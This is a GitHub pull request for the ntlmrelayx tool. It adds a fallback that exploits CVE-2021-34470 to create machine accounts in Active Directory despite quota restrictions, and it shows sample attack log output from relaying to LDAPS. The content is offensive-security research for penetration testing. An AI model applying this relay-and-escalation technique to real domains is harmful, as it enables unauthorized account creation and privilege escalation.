Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[ntlmrelayx] LDAP attack: bypass computer creation restrictions with CVE-2021-34470 #1288

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

SAERXCIT
Copy link
Contributor

Hi !

This PR completes the --add-computer ntlmrelayx attack to try to exploit CVE-2021-34470 to add a computer even if restrictions are in place (machine account quota, SeMachineAccountPrivilege).

More info in the accompanying blog post.

If creation of a machine account failed, ntlmrelayx will check if the vulnerable LDAP object exists within the schema, and if so create it under the relayed computer account, and then add the new computer under this object. The output will look like the following:

[*] Authenticating against ldaps://dc1.domain.local as domain.local\BORDEAUX$ SUCCEED 
[*] Assuming relayed user has privileges to escalate a user via ACL attack 
[*] Attempting to create computer in: CN=Computers,DC=DOMAIN,DC=LOCAL 
[-] Failed to add a new computer: {'result': 50, 'description': 'insufficientAccessRights', 'dn': '', 'message': '00000522: SecErr: DSID-0315381B, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00', 'referrals': None, 'type': 'addResponse'}
[*] Fallback: attempting to exploit CVE-2021-34470 (vulnerable Exchange schema)
[*] Checking if `msExchStorageGroup` object exists within the schema and is vulnerable
[*] Object `msExchStorageGroup` exists and is vulnerable!
[*] Attempting to add new `msExchStorageGroup` object `LHHWRBAO` under `CN=BORDEAUX,OU=Workstations,DC=DOMAIN,DC=LOCAL`
[*] Added `msExchStorageGroup` object at `CN=LHHWRBAO,CN=BORDEAUX,OU=Workstations,DC=DOMAIN,DC=LOCAL`. DON'T FORGET TO CLEANUP
[*] Attempting to create computer in `CN=LHHWRBAO,CN=BORDEAUX,OU=Workstations,DC=DOMAIN,DC=LOCAL`
[*] Adding new computer with username: ALMONDMACHINE$ and password: ~N7x6hr*hl]_>*_ result: OK

Credits to James Forshaw for the research.

Cheers !

@0xdeaddood 0xdeaddood added the in review This issue or pull request is being analyzed label Mar 31, 2022
@gabrielg5 gabrielg5 added the medium Medium priority item label Jan 26, 2023
@anadrianmanrique anadrianmanrique removed the in review This issue or pull request is being analyzed label Feb 3, 2023
@gabrielg5 gabrielg5 added low Low priority item and removed medium Medium priority item labels Apr 27, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
low Low priority item
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants